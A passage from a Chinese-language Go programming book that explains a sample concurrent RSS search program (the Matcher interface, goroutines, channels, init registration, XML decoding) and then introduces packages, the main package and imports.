类型值的指针 31 var feeds []*Feed 32 err = json.NewDecoder(file).Decode(&feeds) 33 34 // 这个函数不需要检查错误,调用者会做这件事 35 return feeds, err 36 } 让我们从第 18 行的函数声明开始。这个函数没有参数,会返回两个值。第一个返回值是一 个切片,其中每一项指向一个 Feed 类型的值。第二个返回值是一个 error 类型的值,用来表 示函数是否调用成功。在这个代码示例里,会经常看到返回 error 类型值来表示函数是否调用 成功。这种用法在标准库里也很常见。 现在让我们看看第 20 行到第 23 行。在这几行里,我们使用 os 包打开了数据文件。我们使 用相对路径调用 Open 方法,并得到两个返回值。第一个返回值是一个指针,指向 File 类型的 值,第二个返回值是 error 类型的值,检查 Open 调用是否成功。紧接着第 21 行就检查了返回 的 error 类型错误值,如果打开文件真的有问题,就把这个错误值返回给调用者。 如果成功打开了文件,会进入到第 27 行。这里使用了关键字 defer,如代码清单 2-30 所示。 代码清单 2-30 feed.go:第 25 行到第 27 行 25 // 当函数返回时 26 // 关闭文件 27 defer file.Close() 关键字 defer 会安排随后的函数调用在函数返回时才执行。在使用完文件后,需要主动关 闭文件。使用关键字 defer 来安排调用 Close 方法,可以保证这个函数一定会被调用。哪怕函 数意外崩溃终止,也能保证关键字 defer 安排调用的函数会被执行。关键字 defer 可以缩短打 开文件和关闭文件之间间隔的代码行数,有助提高代码可读性,减少错误。 现在可以看看这个函数的最后几行,如代码清单 2-31 所示。先来看一下第 31 行到第 35 行 的代码。 代码清单 2-31 feed.go:第 29 行到第 36 行 29 // 将文件解码到一个切片里 30 // 这个切片的每一项是一个指向一个 Feed 类型值的指针 31 var feeds []*Feed 32 err = json.NewDecoder(file).Decode(&feeds) 33 34 // 这个函数不需要检查错误,调用者会做这件事 35 return feeds, err 36 } 在第 31 行我们声明了一个名字叫 feeds,值为 nil 的切片,这个切片包含一组指向 Feed 类型值的指针。之后在第 32 行我们调用 json 包的 NewDecoder 函数,然后在其返回值上调用 Decode 方法。我们使用之前调用 Open 返回的文件句柄调用 NewDecoder 函数,并得到一个 指向 Decoder 类型的值的指针。之后再调用这个指针的 Decode 方法,传入切片的地址。之后 Decode 方法会解码数据文件,并将解码后的值以 Feed 类型值的形式存入切片里。 根据 Decode 方法的声明,该方法可以接受任何类型的值,如代码清单 2-32 所示。 代码清单 2-32 使用空 interface func (dec *Decoder) Decode(v interface{}) error Decode 方法接受一个类型为 interface{}的值作为参数。这个类型在 Go 语言里很特殊, 一般会配合 reflect 包里提供的反射功能一起使用。 最后,第 35 行给函数的调用者返回了切片和错误值。在这个例子里,不需要对 Decode 调 用之后的错误做检查。函数执行结束,这个函数的调用者可以检查这个错误值,并决定后续如何 处理。 现在让我们看看搜索的代码是如何支持不同类型的数据源的。让我们去看看匹配器的代码。 2.3.3 match.go/default.go match.go 代码文件包含创建不同类型匹配器的代码,这些匹配器用于在 Run 函数里对数据 进行搜索。让我们回头看看 Run 函数里使用不同匹配器执行搜索的代码,如代码清单 2-33 所示。 代码清单 2-33 search/search.go:第 29 行到第 42 行 29 // 为每个数据源启动一个 goroutine 来查找结果 30 for _, feed := range feeds { 31 // 获取一个匹配器用于查找 32 matcher, exists := matchers[feed.Type] 33 if !exists { 34 matcher = matchers["default"] 35 } 36 37 // 启动一个 goroutine 执行查找 38 go func(matcher Matcher, feed *Feed) { 39 Match(matcher, feed, searchTerm, results) 40 waitGroup.Done() 41 }(matcher, feed) 42 } 代码的第 32 行,根据数据源类型查找一个匹配器值。这个匹配器值随后会用于在特定的数 据源里处理搜索。之后在第 38 行到第 41 行启动了一个 goroutine,让匹配器对数据源的数据进行 搜索。让这段代码起作用的关键是这个架构使用一个接口类型来匹配并执行具有特定实现的匹配 器。这样,就能使用这段代码,以一致且通用的方法,来处理不同类型的匹配器值。让我们看一 下 match.go 里的代码,看看如何才能实现这一功能。 代码清单 2-34 给出的是 match.go 的前 17 行代码。 代码清单 2-34 search/match.go:第 01 行到第 17 行 01 package search 02 03 import ( 04 "log" 05 ) 06 07 // Result 保存搜索的结果 08 type Result struct { 09 Field string 10 Content string 11 } 12 13 // Matcher 定义了要实现的 14 // 新搜索类型的行为 15 type Matcher interface { 16 Search(feed *Feed, searchTerm string) ([]*Result, error) 17 } 让我们看一下第 15 行到第 17 行,这里声明了一个名为 Matcher 的接口类型。之前,我们 只见过声明结构类型,而现在看到如何声明一个 interface(接口)类型。我们会在第 5 章介 绍接口的更多细节,现在只需要知道,interface 关键字声明了一个接口,这个接口声明了结构 类型或者具名类型需要实现的行为。一个接口的行为最终由在这个接口类型中声明的方法决定。 对于 Matcher 这个接口来说,只声明了一个 Search 方法,这个方法输入一个指向 Feed 类型值的指针和一个 string 类型的搜索项。这个方法返回两个值:一个指向 Result 类型值 的指针的切片,另一个是错误值。Result 类型的声明在第 08 行到第 11 行。 命名接口的时候,也需要遵守 Go 语言的命名惯例。如果接口类型只包含一个方法,那么这 个类型的名字以 er 结尾。我们的例子里就是这么做的,所以这个接口的名字叫作 Matcher。如 果接口类型内部声明了多个方法,其名字需要与其行为关联。 如果要让一个用户定义的类型实现一个接口,这个用户定义的类型要实现接口类型里声明的 所有方法。让我们切换到 default.go 代码文件,看看默认匹配器是如何实现 Matcher 接口的, 如代码清单 2-35 所示。 代码清单 2-35 search/default.go:第 01 行到第 15 行 01 package search 02 03 // defaultMatcher 实现了默认匹配器 04 type defaultMatcher struct{} 05 06 // init 函数将默认匹配器注册到程序里 07 func init() { 08 var matcher defaultMatcher 09 Register("default", matcher) 10 } 11 12 // Search 实现了默认匹配器的行为 13 func (m defaultMatcher) Search(feed *Feed, searchTerm string) ([]*Result, error) { 14 return nil, nil 15 } 在第 04 行,我们使用一个空结构声明了一个名叫 defaultMatcher 的结构类型。空结构 在创建实例时,不会分配任何内存。这种结构很适合创建没有任何状态的类型。对于默认匹配器 来说,不需要维护任何状态,所以我们只要实现对应的接口就行。 在第 13 行到第 15 行,可以看到 defaultMatcher 类型实现 Matcher 接口的代码。实现 接口的方法 Search 只返回两个 nil 值。其他的实现,如 RSS 匹配器的实现,会在这个方法里 使用特定的业务逻辑规则来处理搜索。 Search 方法的声明也声明了 defaultMatcher 类型的值的接收者,如代码清单 2-36 所示。 代码清单 2-36 search/default.go:第 13 行 13 func (m defaultMatcher) Search 如果声明函数的时候带有接收者,则意味着声明了一个方法。这个方法会和指定的接收者的 类型绑在一起。在我们的例子里,Search 方法与 defaultMatcher 类型的值绑在一起。这意 味着我们可以使用 defaultMatcher 类型的值或者指向这个类型值的指针来调用 Search 方 法。无论我们是使用接收者类型的值来调用这个方,还是使用接收者类型值的指针来调用这个 方法,编译器都会正确地引用或者解引用对应的值,作为接收者传递给 Search 方法,如代码清 单 2-37 所示。 代码清单 2-37 调用方法的例子 // 方法声明为使用 defaultMatcher 类型的值作为接收者 func (m defaultMatcher) Search(feed *Feed, searchTerm string) // 声明一个指向 defaultMatcher 类型值的指针 dm := new(defaultMatch) // 编译器会解开 dm 指针的引用,使用对应的值调用方法 dm.Search(feed, "test") // 方法声明为使用指向 defaultMatcher 类型值的指针作为接收者 func (m *defaultMatcher) Search(feed *Feed, searchTerm string) // 声明一个 defaultMatcher 类型的值 var dm defaultMatch // 编译器会自动生成指针引用 dm 值,使用指针调用方法 dm.Search(feed, "test") 因为大部分方法在被调用后都需要维护接收者的值的状态,所以,一个最佳实践是,将方法 的接收者声明为指针。对于 defaultMatcher 类型来说,使用值作为接收者是因为创建一个 defaultMatcher 类型的值不需要分配内存。由于 defaultMatcher 不需要维护状态,所以 不需要指针形式的接收者。 与直接通过值或者指针调用方法不同,如果通过接口类型的值调用方法,规则有很大不同, 如代码清单 2-38 所示。使用指针作为接收者声明的方法,只能在接口类型的值是一个指针的时 候被调用。使用值作为接收者声明的方法,在接口类型的值为值或者指针时,都可以被调用。 代码清单 2-38 接口方法调用所受限制的例子 // 方法声明为使用指向 defaultMatcher 类型值的指针作为接收者 func (m *defaultMatcher) Search(feed *Feed, searchTerm string) // 通过 interface 类型的值来调用方法 var dm defaultMatcher var matcher Matcher = dm // 将值赋值给接口类型 matcher.Search(feed, "test") // 使用值来调用接口方法 > go build cannot use dm (type defaultMatcher) as type Matcher in assignment // 方法声明为使用 defaultMatcher 类型的值作为接收者 func (m defaultMatcher) Search(feed *Feed, searchTerm string) // 通过 interface 类型的值来调用方法 var dm defaultMatcher var matcher Matcher = &dm // 将指针赋值给接口类型 matcher.Search(feed, "test") // 使用指针来调用接口方法 > go build Build Successful 除了 Search 方法,defaultMatcher 类型不需要为实现接口做更多的事情了。从这段代 码之后,不论是 defaultMatcher 类型的值还是指针,都满足 Matcher 接口,都可以作为 Matcher 类型的值使用。这是代码可以工作的关键。defaultMatcher 类型的值和指针现在还 可以作为 Matcher 的值,赋值或者传递给接受 Matcher 类型值的函数。 让我们看看 match.go 代码文件里实现 Match 函数的代码,如代码清单 2-39 所示。这个函数 在 search.go 代码文件的第 39 行中由 Run 函数调用。 代码清单 2-39 search/match.go:第 19 行到第 33 行 19 // Match 函数,为每个数据源单独启动 goroutine 来执行这个函数 20 // 并发地执行搜索 21 func Match(matcher Matcher, feed *Feed, searchTerm string, results chan<- *Result) { 22 // 对特定的匹配器执行搜索 23 searchResults, err := matcher.Search(feed, searchTerm) 24 if err != nil { 25 log.Println(err) 26 return 27 } 28 29 // 将结果写入通道 30 for _, result := range searchResults { 31 results <- result 32 } 33 } 这个函数使用实现了 Matcher 接口的值或者指针,进行真正的搜索。这个函数接受 Matcher 类型的值作为第一个参数。只有实现了 Matcher 接口的值或者指针能被接受。因为 defaultMatcher 类型使用值作为接收者,实现了这个接口,所以 defaultMatcher 类型的 值或者指针可以传入这个函数。 在第 23 行,调用了传入函数的 Matcher 类型值的 Search 方法。这里执行了 Matcher 变 量中特定的 Search 方法。Search 方法返回后,在第 24 行检测返回的错误值是否真的是一个 错误。如果是一个错误,函数通过 log 输出错误信息并返回。如果搜索并没有返回错误,而是 返回了搜索结果,则把结果写入通道,以便正在监听通道的 main 函数就能收到这些结果。 match.go 中的最后一部分代码就是 main 函数在第 56 行调用的 Display 函数,如代码清 单 2-40 所示。这个函数会阻止程序终止,直到接收并输出了搜索 goroutine 返回的所有结果。 代码清单 2-40 search/match.go:第 35 行到第 43 行 35 // Display 从每个单独的 goroutine 接收到结果后 36 // 在终端窗口输出 37 func Display(results chan *Result) { 38 // 通道会一直被阻塞,直到有结果写入 39 // 一旦通道被关闭,for 循环就会终止 40 for result := range results { 41 fmt.Printf("%s:\n%s\n\n", result.Field, result.Content) 42 } 43 } 当通道被关闭时,通道和关键字 range 的行为,使这个函数在处理完所有结果后才会返回。 让我们再来简单看一下 Run 函数的代码,特别是关闭 results 通道并调用 Display 函数那段, 如代码清单 2-41 所示。 代码清单 2-41 search/search.go:第 44 行到第 57 行 44 // 启动一个 goroutine 来监控是否所有的工作都做完了 45 go func() { 46 // 等候所有任务完成 47 waitGroup.Wait() 48 49 // 用关闭通道的方式,通知 Display 函数 50 // 可以退出程序了 51 close(results) 52 }() 53 54 // 启动函数,显示返回的结果, 55 // 并且在最后一个结果显示完后返回 56 Display(results) 57 } 第 45 行到第 52 行定义的 goroutine 会等待 waitGroup,直到搜索 goroutine 调用了 Done 方法。一旦最后一个搜索 goroutine 调用了 Done,Wait 方法会返回,之后第 51 行的代码会关闭 results 通道。一旦通道关闭,goroutine 就会终止,不再工作。 在 match.go 代码文件的第 30 行到第 32 行,搜索结果会被写入通道,如代码清单 2-42 所示。 代码清单 2-42 search/match.go:第 29 行到第 32 行 29 // 将结果写入通道 30 for _, result := range searchResults { 31 results <- result 32 } 如果回头看一看 match.go 代码文件的第 40 行到第 42 行的 for range 循环,如代码清单 2-43 所示,我们就能把写入结果、关闭通道和处理结果这些流程串在一起。 代码清单 2-43 search/match.go:第 38 行到第 42 行 38 // 通道会一直被阻塞,直到有结果写入 39 // 一旦通道被关闭,for 循环就会终止 40 for result := range results { 41 fmt.Printf("%s:\n%s\n\n", result.Field, result.Content) 42 } match.go 代码文件的第 40 行的 for range 循环会一直阻塞,直到有结果写入通道。在某 个搜索 goroutine 向通道写入结果后(如在 match.go 代码文件的第 31 行所见),for range 循 环被唤醒,读出这些结果。之后,结果会立刻写到日志中。看上去这个 for range 循环会无限 循环下去,但其实不然。一旦 search.go 代码文件第 51 行关闭了通道,for range 循环就会终 止,Display 函数也会返回。 在我们去看 RSS 匹配器的实现之前,再看一下程序开始执行时,如何初始化不同的匹配器。 为此,我们需要先回头看看 default.go 代码文件的第 07 行到第 10 行,如代码清单 2-44 所示。 代码清单 2-44 search/default.go:第 06 行到第 10 行 06 // init 函数将默认匹配器注册到程序里 07 func init() { 08 var matcher defaultMatcher 09 Register("default", matcher) 10 } 在代码文件 default.go 里有一个特殊的函数,名叫 init。在 main.go 代码文件里也能看到同 名的函数。我们之前说过,程序里所有的 init 方法都会在 main 函数启动前被调用。让我们再 看看 main.go 代码文件导入了哪些代码,如代码清单 2-45 所示。 代码清单 2-45 main.go:第 07 行到第 08 行 07 _ "github.com/goinaction/code/chapter2/sample/matchers" 08 "github.com/goinaction/code/chapter2/sample/search" 第 8 行导入 search 包,这让编译器可以找到 default.go 代码文件里的 init 函数。一旦 编译器发现 init 函数,它就会给这个函数优先执行的权限,保证其在 main 函数之前被调用。 代 码 文 件 default.go 里 的 init 函 数 执 行 一 个 特 殊 的 任 务 。 这 个 函 数 会 创 建 一 个 defaultMatcher 类型的值,并将这个值传递给 search.go 代码文件里的 Register 函数,如 代码清单 2-46 所示。 代码清单 2-46 search/search.go:第 59 行到第 67 行 59 // Register 调用时,会注册一个匹配器,提供给后面的程序使用 60 func Register(feedType string, matcher Matcher) { 61 if _, exists := matchers[feedType]; exists { 62 log.Fatalln(feedType, "Matcher already registered") 63 } 64 65 log.Println("Register", feedType, "matcher") 66 matchers[feedType] = matcher 67 } 这个函数的职责是,将一个 Matcher 值加入到保存注册匹配器的映射中。所有这种注 册都应该在 main 函数被调用前完成。使用 init 函数可以非常完美地完成这种初始化时注 册的任务。 2.4 RSS 匹配器 最后要看的一部分代码是 RSS 匹配器的实现代码。我们之前看到的代码搭建了一个框架, 以便能够实现不同的匹配器来搜索内容。RSS 匹配器的结构与默认匹配器的结构很类似。每个匹 配器为了匹配接口,Search 方法的实现都不同,因此匹配器之间无法互相替换。 代码清单 2-47 中的 RSS 文档是一个例子。当我们访问数据源列表里 RSS 数据源的链接时, 期望获得的数据就和这个例子类似。 代码清单 2-47 期望的 RSS 数据源文档 <rss xmlns:npr="http://www.npr.org/rss/" xmlns:nprml="http://api" <channel> <title>News</title> <link>...</link> <description>...</description> <language>en</language> <copyright>Copyright 2014 NPR - For Personal Use <image>...</image> <item> <title> Putin Says He'll Respect Ukraine Vote But U.S. </title> <description> The White House and State Department have called on the </description> 如果用浏览器打开代码清单 2-47 中的任意一个链接,就能看到期望的 RSS 文档的完整内容。RSS 匹配器的实现会下载这些 RSS 文档,使用搜索项来搜索标题和描述域,并将结果发送给 results 通道。让我们先看看 rss.go 代码文件的前 12 行代码,如代码清单 2-48 所示。 代码清单 2-48 matchers/rss.go:第 01 行到第 12 行 01 package matchers 02 03 import ( 04 "encoding/xml" 05 "errors" 06 "fmt" 07 "log" 08 "net/http" 09 "regexp" 10 11 "github.com/goinaction/code/chapter2/sample/search" 12 ) 和其他代码文件一样,第 1 行定义了包名。这个代码文件处于名叫 matchers 的文件夹中, 所以包名也叫 matchers。之后,我们从标准库中导入了 6 个库,还导入了 search 包。再一次, 我们看到有些标准库的包是从标准库所在的子文件夹导入的,如 xml 和 http。就像 json 包一 样,路径里最后一个文件夹的名字代表包的名字。 为了让程序可以使用文档里的数据,解码 RSS 文档的时候需要用到 4 个结构类型,如代码 清单 2-49 所示。 代码清单 2-49 matchers/rss.go:第 14 行到第 58 行 14 type ( 15 // item 根据 item 字段的标签,将定义的字段 16 // 与 rss 文档的字段关联起来 17 item struct { 18 XMLName xml.Name `xml:"item"` 19 PubDate string `xml:"pubDate"` 20 Title string `xml:"title"` 21 Description string `xml:"description"` 22 Link string `xml:"link"` 23 GUID string `xml:"guid"` 24 GeoRssPoint string `xml:"georss:point"` 25 } 26 27 // image 根据 image 字段的标签,将定义的字段 28 // 与 rss 文档的字段关联起来 29 image struct { 30 XMLName xml.Name `xml:"image"` 31 URL string `xml:"url"` 32 Title string `xml:"title"` 33 Link string `xml:"link"` 34 } 35 36 // channel 根据 channel 字段的标签,将定义的字段 37 // 与 rss 文档的字段关联起来 38 channel struct { 39 XMLName xml.Name `xml:"channel"` 40 Title string `xml:"title"` 41 Description string `xml:"description"` 42 Link string `xml:"link"` 43 PubDate string `xml:"pubDate"` 44 LastBuildDate string `xml:"lastBuildDate"` 45 TTL string `xml:"ttl"` 46 Language string `xml:"language"` 47 ManagingEditor string `xml:"managingEditor"` 48 WebMaster string `xml:"webMaster"` 49 Image image `xml:"image"` 50 Item []item `xml:"item"` 51 } 52 53 // rssDocument 定义了与 rss 文档关联的字段 54 rssDocument struct { 55 XMLName xml.Name `xml:"rss"` 56 Channel channel `xml:"channel"` 57 } 58 ) 如果把这些结构与任意一个数据源的 RSS 文档对比,就能发现它们的对应关系。解码 XML 的方法与我们在 feed.go 代码文件里解码 JSON 文档一样。接下来我们可以看看 rssMatcher 类 型的声明,如代码清单 2-50 所示。 代码清单 2-50 matchers/rss.go:第 60 行到第 61 行 60 // rssMatcher 实现了 Matcher 接口 61 type rssMatcher struct{} 再说明一次,这个声明与 defaultMatcher 类型的声明很像。因为不需要维护任何状态, 所以我们使用了一个空结构来实现 Matcher 接口。接下来看看匹配器 init 函数的实现,如代 码清单 2-51 所示。 代码清单 2-51 matchers/rss.go:第 63 行到第 67 行 63 // init 将匹配器注册到程序里 64 func init() { 65 var matcher rssMatcher 66 search.Register("rss", matcher) 67 } 就像在默认匹配器里看到的一样,init 函数将 rssMatcher 类型的值注册到程序里,以备 后用。让我们再看一次 main.go 代码文件里的导入部分,如代码清单 2-52 所示。 代码清单 2-52 main.go:第 07 行到第 08 行 07 _ "github.com/goinaction/code/chapter2/sample/matchers" 08 "github.com/goinaction/code/chapter2/sample/search" main.go 代码文件里的代码并没有直接使用任何 matchers 包里的标识符。不过,我们依旧 需要编译器安排调用 rss.go 代码文件里的 init 函数。在第 07 行,我们使用下划线标识符作为 别名导入 matchers 包,完成了这个调用。这种方法可以让编译器在导入未被引用的包时不报 错,而且依旧会定位到包内的 init 函数。我们已经看过了所有的导入、类型和初始化函数,现 在来看看最后两个用于实现 Matcher 接口的方法,如代码清单 2-53 所示。 代码清单 2-53 matchers/rss.go:第 114 行到第 140 行 114 // retrieve 发送 HTTP Get 请求获取 rss 数据源并解码 115 func (m rssMatcher) retrieve(feed *search.Feed) (*rssDocument, error) { 116 if feed.URI == "" { 117 return nil, errors.New("No rss feed URI provided") 118 } 119 120 // 从网络获得 rss 数据源文档 121 resp, err := http.Get(feed.URI) 122 if err != nil { 123 return nil, err 124 } 125 126 // 一旦从函数返回,关闭返回的响应链接 127 defer resp.Body.Close() 128 129 // 检查状态码是不是 200,这样就能知道 130 // 是不是收到了正确的响应 131 if resp.StatusCode != 200 { 132 return nil, fmt.Errorf("HTTP Response Error %d\n", resp.StatusCode) 133 } 134 135 // 将 rss 数据源文档解码到我们定义的结构类型里 136 // 不需要检查错误,调用者会做这件事 137 var document rssDocument 138 err = xml.NewDecoder(resp.Body).Decode(&document) 139 return &document, err 140 } 方法 retrieve 并没有对外暴露,其执行的逻辑是从 RSS 数据源的链接拉取 RSS 文档。在 第 121 行,可以看到调用了 http 包的 Get 方法。我们会在第 8 章进一步介绍这个包,现在只 需要知道,使用 http 包,Go 语言可以很容易地进行网络请求。当 Get 方法返回后,我们可以 得到一个指向 Response 类型值的指针。之后会监测网络请求是否出错,并在第 127 行安排函 数返回时调用 Close 方法。 在第 131 行,我们检测了 Response 值的 StatusCode 字段,确保收到的响应是 200。任 何不是 200 的请求都需要作为错误处理。如果响应值不是 200,我们使用 fmt 包里的 Errorf 函数 返回一个自定义的错误。最后 3 行代码很像之前解码 JSON 数据文件的代码。只是这次使用 xml 包并调用了同样叫作 NewDecoder 的函数。这个函数会返回一个指向 Decoder 值的指针。之后调 用这个指针的 Decode 方法,传入 rssDocument 类型的局部变量 document 的地址。最后返 回这个局部变量的地址和 Decode 方法调用返回的错误值。 最后我们来看看实现了 Matcher 接口的方法,如代码清单 2-54 所示。 代码清单 2-54 matchers/rss.go: 第 69 行到第 112 行 69 // Search 在文档中查找特定的搜索项 70 func (m rssMatcher) Search(feed *search.Feed, searchTerm string) ([]*search.Result, error) { 71 var results []*search.Result 72 73 log.Printf("Search Feed Type[%s] Site[%s] For Uri[%s]\n", feed.Type, feed.Name, feed.URI) 74 75 // 获取要搜索的数据 76 document, err := m.retrieve(feed) 77 if err != nil { 78 return nil, err 79 } 80 81 for _, channelItem := range document.Channel.Item { 82 // 检查标题部分是否包含搜索项 83 matched, err := regexp.MatchString(searchTerm, channelItem.Title) 84 if err != nil { 85 return nil, err 86 } 87 88 // 如果找到匹配的项,将其作为结果保存 89 if matched { 90 results = append(results, &search.Result{ 91 Field: "Title", 92 Content: channelItem.Title, 93 }) 94 } 95 96 // 检查描述部分是否包含搜索项 97 matched, err = regexp.MatchString(searchTerm, channelItem.Description) 98 if err != nil { 99 return nil, err 100 } 101 102 // 如果找到匹配的项,将其作为结果保存 103 if matched { 104 results = append(results, &search.Result{ 105 Field: "Description", 106 Content: channelItem.Description, 107 }) 108 } 109 } 110 111 return results, nil 112 } 我们从第 71 行 results 变量的声明开始分析,如代码清单 2-55 所示。这个变量用于保存 并返回找到的结果。 代码清单 2-55 matchers/rss.go:第 71 行 71 var results []*search.Result 我们使用关键字 var 声明了一个值为 nil 的切片,切片每一项都是指向 Result 类型值的指 针。Result 类型的声明在之前 match.go 代码文件的第 08 行中可以找到。之后在第 76 行,我们 使用刚刚看过的 retrieve 方法进行网络调用,如代码清单 2-56 所示。 代码清单 2-56 matchers/rss.go:第 75 行到第 79 行 75 // 获取要搜索的数据 76 document, err := m.retrieve(feed) 77 if err != nil { 78 return nil, err 79 } 调用 retrieve 方法返回了一个指向 rssDocument 类型值的指针以及一个错误值。之后, 像已经多次看过的代码一样,检查错误值,如果真的是一个错误,直接返回。如果没有错误发生, 之后会依次检查得到的 RSS 文档的每一项的标题和描述,如果与搜索项匹配,就将其作为结果 保存,如代码清单 2-57 所示。 代码清单 2-57 matchers/rss.go:第 81 行到第 86 行 81 for _, channelItem := range document.Channel.Item { 82 // 检查标题部分是否包含搜索项 83 matched, err := regexp.MatchString(searchTerm, channelItem.Title) 84 if err != nil { 85 return nil, err 86 } 既然 document.Channel.Item 是一个 item 类型值的切片,我们在第 81 行对其使用 for range 循环,依次访问其内部的每一项。在第 83 行,我们使用 regexp 包里的 MatchString 函数,对 channelItem 值里的 Title 字段进行搜索,查找是否有匹配的搜索项。之后在第 84 行检查错误。如果没有错误,就会在第 89 行到第 94 行检查匹配的结果,如代码清单 2-58 所示。 代码清单 2-58 matchers/rss.go:第 88 行到第 94 行 88 // 如果找到匹配的项,将其作为结果保存 89 if matched { 90 results = append(results, &search.Result{ 91 Field: "Title", 92 Content: channelItem.Title, 93 }) 94 } 如果调用 MatchString 方法返回的 matched 的值为真,我们使用内置的 append 函 数,将搜索结果加入到 results 切片里。append 这个内置函数会根据切片需要,决定是否 要增加切片的长度和容量。我们会在第 4 章了解关于内置函数 append 的更多知识。这个函 数的第一个参数是希望追加到的切片,第二个参数是要追加的值。在这个例子里,追加到切 片的值是一个指向 Result 类型值的指针。这个值直接使用字面声明的方式,初始化为 Result 类型的值。之后使用取地址运算符(&),获得这个新值的地址。最终将这个指针存 入了切片。 在检查标题是否匹配后,第 97 行到第 108 行使用同样的逻辑检查 Description 字段。最 后,在第 111 行,Search 方法返回了 results 作为函数调用的结果。 2.5 小结 每个代码文件都属于一个包,而包名应该与代码文件所在的文件夹同名。 Go 语言提供了多种声明和初始化变量的方式。如果变量的值没有显式初始化,编译器会 将变量初始化为零值。 使用指针可以在函数间或者 goroutine 间共享数据。 通过启动 goroutine 和使用通道完成并发和同步。 Go 语言提供了内置函数来支持 Go 语言内部的数据结构。 标准库包含很多包,能做很多很有用的事情。 使用 Go 接口可以编写通用的代码和框架。 第 3 章 打包和工具链 本章主要内容  如何组织 Go 代码  使用 Go 语言自带的相关命令  使用其他开发者提供的工具  与其他开发者合作 我们在第 2 章概览了 Go 语言的语法和语言结构。本章会进一步介绍如何把代码组织成包, 以及如何操作这些包。在 Go 语言里,包是个非常重要的概念。其设计理念是使用包来封装不同 语义单元的功能。这样做,能够更好地复用代码,并对每个包内的数据的使用有更好的控制。 在进入具体细节之前,假设读者已经熟悉命令行提示符,或者操作系统的 shell,而且应 该已 经在本书前言的帮助下,安装了 Go。如果上面这些都准备好了,就让我们开始进入细节,了解 什么是包,以及包为什么对 Go 语言的生态非常重要。 3.1 包 所有 Go 语言的程序都会组织成若干组文件,每组文件被称为一个包。这样每个包的代码都 可以作为很小的复用单元,被其他项目引用。让我们看看标准库中的 http 包是怎么利用包的特 性组织功能的: net/http/ cgi/ cookiejar/ testdata/ fcgi/ httptest/ httputil/ pprof/ testdata/ 这些目录包括一系列以.go 为扩展名的相关文件。这些目录将实现 HTTP 服务器、客户端、 3 第 3 章 打包和工具链 fmt 包提供了完成 格式化输出的功能。 测试工具和性能调试工具的相关代码拆分成功能清晰的、小的代码单元。以 cookiejar 包为例, 这个包里包含与存储和获取网页会话上的 cookie 相关的代码。每个包都可以单独导入和使用,以 便开发者可以根据自己的需要导入特定功能。例如,如果要实现 HTTP 客户端,只需要导入 http 包就可以。 所有的.go 文件,除了空行和注释,都应该在第一行声明自己所属的包。每个包都在一个单 独的目录里。不能把多个包放到同一个目录中,也不能把同一个包的文件分拆到多个不同目录中。 这意味着,同一个目录下的所有.go 文件必须声明同一个包名。 3.1.1 包名惯例 给包命名的惯例是使用包所在目录的名字。这让用户在导入包的时候,就能清晰地知道包名。 我们继续以 net/http 包为例,在 http 目录下的所有文件都属于 http 包。给包及其目录命名 时,应该使用简洁、清晰且全小写的名字,这有利于开发时频繁输入包名。例如,net/http 包 下面的包,如 cgi、httputil 和 pprof,名字都很简洁。 记住,并不需要所有包的名字都与别的包不同,因为导入包时是使用全路径的,所以可以区分 同名的不同包。一般情况下,包被导入后会使用你的包名作为默认的名字,不过这个导入后的名字 可以修改。这个特性在需要导入不同目录的同名包时很有用。3.2 节会展示如何修改导入的包名。 3.1.2 main 包 在 Go 语言里,命名为 main 的包具有特殊的含义。Go 语言的编译程序会试图把这种名字的 包编译为二进制可执行文件。所有用 Go 语言编译的可执行程序都必须有一个名叫 main 的包。 当编译器发现某个包的名字为 main 时,它一定也会发现名为 main()的函数,否则不会创建 可执行文件。main()函数是程序的入口,所以,如果没有这个函数,程序就没有办法开始执行。 程序编译时,会使用声明 main 包的代码所在的目录的目录名作为二进制可执行文件的文件名。 命令和包 Go 文档里经常使用命令(command)这个词来指代可执行程序,如命令行应用程序。 这会让新手在阅读文档时产生困惑。记住,在 Go 语言里,命令是指任何可执行程序。作为对比, 包更常用来指语义上可导入的功能单元。 让我们来实际体验一下。首先,在$GOPATH/src/hello/目录里创建一个叫 hello.go 的文件,并 输入代码清单 3-1 里的内容。这是个经典的“Hello World!”程序,不过,注意一下包的声明以及 import 语句。 代码清单 3-1 经典的“Hello World!”程序 01 package main 02 03 import "fmt" strings 包提供了很多关于字符串的操作,如查找、替换或 者变换。可以通过访问 http://golang.org/pkg/strings/或者在终端 运行 godoc strings 来了解更多关于 strings 包的细节。 04 05 func main() { 06 fmt.Println("Hello World!") 07 } 获取包的文档 别忘了,可以访问 http://golang.org/pkg/fmt/或者在终端输入 godoc fmt 来了解更 多关于 fmt 包的细节。 保存了文件后,可以在$GOPATH/src/hello/目录里执行命令 go build。这条命令执行完 后,会生成一个二进制文件。在 UNIX、Linux 和 Mac OS X 系统上,这个文件会命名为 hello, 而在 Windows 系统上会命名为 hello.exe。可以执行这个程序,并在控制台上显示“Hello World!”。 如果把这个包名改为 main 之外的某个名字,如 hello,编译器就认为这只是一个包,而不 是命令,如代码清单 3-2 所示。 代码清单 3-2 包含 main 函数的无效的 Go 程序 01 package hello 02 03 import "fmt" 04 05 func main(){ 06 fmt.Println("Hello, World!") 07 } 3.2 导入 我们已经了解如何把代码组织到包里,现在让我们来看看如何导入这些包,以便可以访问包 内的代码。import 语句告诉编译器到磁盘的哪里去找想要导入的包。导入包需要使用关键字 import,它会告诉编译器你想引用该位置的包内的代码。如果需要导入多个包,习惯上是将 import 语句包装在一个导入块中,代码清单 3-3 展示了一个例子。 代码清单 3-3 import 声明块 import ( "fmt" "strings" ) 编译器会使用 Go 环境变量设置的路径,通过引入的相对路径来查找磁盘上的包。标准库中 的包会在安装 Go 的位置找到。Go 开发者创建的包会在 GOPATH 环境变量指定的目录里查找。 GOPATH 指定的这些目录就是开发者的个人工作空间。 举个例子。如果 Go 安装在/usr/local/go,并且环境变量 GOPATH 设置为/home/myproject:/home/ mylibraries,编译器就会按照下面的顺序查找 net/http 包: /usr/local/go/src/pkg/net/http /home/myproject/src/net/http /home/mylibraries/src/net/http 一旦编译器找到一个满足 import 语句的包,就停止进一步查找。有一件重要的事需要记 住,编译器会首先查找 Go 的安装目录,然后才会按顺序查找 GOPATH 变量里列出的目录。 如果编译器查遍 GOPATH 也没有找到要导入的包,那么在试图对程序执行 run 或者 build 的时候就会出错。本章后面会介绍如何通过 go get 命令来修正这种错误。 3.2.1 远程导入 目前的大势所趋是,使用分布式版本控制系统(Distributed Version Control Systems,DVCS) 来分享代码,如 GitHub、Launchpad 还有 Bitbucket。Go 语言的工具链本身就支持从这些网站及 类似网站获取源代码。Go 工具链会使用导入路径确定需要获取的代码在网络的什么地方。 